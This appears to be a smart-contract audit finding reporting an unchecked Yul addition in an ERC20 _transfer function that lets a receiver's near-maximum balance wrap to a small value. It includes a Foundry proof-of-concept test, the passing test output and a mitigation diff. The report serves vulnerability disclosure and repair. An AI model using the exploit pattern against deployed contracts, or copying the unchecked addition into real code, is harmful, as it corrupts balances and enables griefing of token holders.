Root + Impact
Calling _transfer to an account whose balance is near type(uint256).max causes arithmetic overflow in Yul, wrapping the receiver's balance to a small value. This corrupts the receiver's balance accounting and enables griefing (reducing a victim's apparent balance via wrap) and desynchronization in protocols that rely on accurate balances.
Description
-
Normal behavior: Transferring tokens decreases sender's balance and increases receiver's balance by the same amount, preserving total supply.
-
Issue: _transfer performs addition in Yul without overflow checks. When toAmount + value > type(uint256).max, the receiver's balance wraps around to a small number.
100: function _transfer(address from, address to, uint256 value) internal returns (bool success) {
101: assembly ("memory-safe") {
...
115: let toAmount := sload(toSlot)
@>116: sstore(toSlot, add(toAmount, value))
117: success := 1
...
121: }
122: }
Risk
Likelihood:
Impact:
Proof of Concept
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {ERC20} from "../src/ERC20.sol";
contract TestTokenHarness is ERC20 {
constructor() ERC20("Test", "TST") {}
function exposedMint(address to, uint256 value) external {
_mint(to, value);
}
}
contract PocTransferOverflow is Test {
TestTokenHarness private token;
address private sender = address(0xA1);
address private receiver = address(0xB1);
function setUp() public {
token = new TestTokenHarness();
token.exposedMint(sender, 1000);
}
function test_TransferOverflowWrapsReceiverBalance() public {
token.exposedMint(receiver, type(uint256).max - 100);
uint256 receiverBalanceBefore = token.balanceOf(receiver);
uint256 senderBalanceBefore = token.balanceOf(sender);
uint256 totalSupplyBefore = token.totalSupply();
vm.prank(sender);
token.transfer(receiver, 200);
uint256 receiverBalanceAfter = token.balanceOf(receiver);
uint256 senderBalanceAfter = token.balanceOf(sender);
uint256 totalSupplyAfter = token.totalSupply();
assertEq(receiverBalanceAfter, 99, "receiver balance wrapped to 99");
assertLt(receiverBalanceAfter, receiverBalanceBefore, "receiver balance decreased - WRONG!");
assertEq(senderBalanceAfter, 800, "sender balance decreased by 200");
assertEq(totalSupplyAfter, totalSupplyBefore, "supply unchanged");
}
}
Test result
➜ 2025-12-token-0x git:(main) ✗ forge test --match-path test/PocTransferOverflow.t.sol -vv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/PocTransferOverflow.t.sol:PocTransferOverflow
[PASS] test_TransferOverflowWrapsReceiverBalance() (gas: 60011)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 919.00µs (375.62µs CPU time)
Ran 1 test suite in 10.94ms (919.00µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
Add overflow check before updating receiver's balance:
function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
// ... sender balance checks ...
let toAmount := sload(toSlot)
+ let newToAmount := add(toAmount, value)
+ // Check for overflow: if newToAmount < toAmount, overflow occurred
+ if lt(newToAmount, toAmount) {
+ mstore(0x00, shl(224, 0xe450d38c)) // ERC20InsufficientBalance or custom error
+ mstore(add(0x00, 4), to)
+ mstore(add(0x00, 0x24), toAmount)
+ mstore(add(0x00, 0x44), value)
+ revert(0x00, 0x64)
+ }
- sstore(toSlot, add(toAmount, value))
+ sstore(toSlot, newToAmount)
success := 1
// ... emit event ...
}
}